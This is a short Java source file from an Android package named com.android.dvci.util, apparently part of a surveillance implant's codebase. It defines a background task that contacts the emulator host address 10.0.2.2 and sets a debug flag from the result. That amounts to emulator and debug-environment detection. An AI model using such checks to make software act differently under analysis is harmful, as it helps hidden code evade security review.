package com.android.dvci.util;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import android.os.AsyncTask;
public class CheckDebugModeTask extends AsyncTask<String, Void, String> {
public static boolean IsDebug = true;
//public Object lock = new Object();
public CheckDebugModeTask() {
}
@Override
protected String doInBackground(String... params) {
try {
HttpParams httpParameters = new BasicHttpParams();
int timeoutConnection = 1000;
HttpConnectionParams.setConnectionTimeout(httpParameters, timeoutConnection);
int timeoutSocket = 2000;
HttpConnectionParams.setSoTimeout(httpParameters, timeoutSocket);
String url2 = "http://10.0.2.2";
HttpGet httpGet = new HttpGet(url2);
DefaultHttpClient client = new DefaultHttpClient(httpParameters);
HttpResponse response2 = client.execute(httpGet);
if (response2 == null || response2.getEntity() == null || response2.getEntity().getContent() == null)
return "54176524365412";
return "87687234134534";
} catch (Exception e) {
return "54176524365412";
}
}
@Override
protected void onPostExecute(String result) {
if (result.equals("54176524365412")) {
CheckDebugModeTask.IsDebug = false;
}
}
}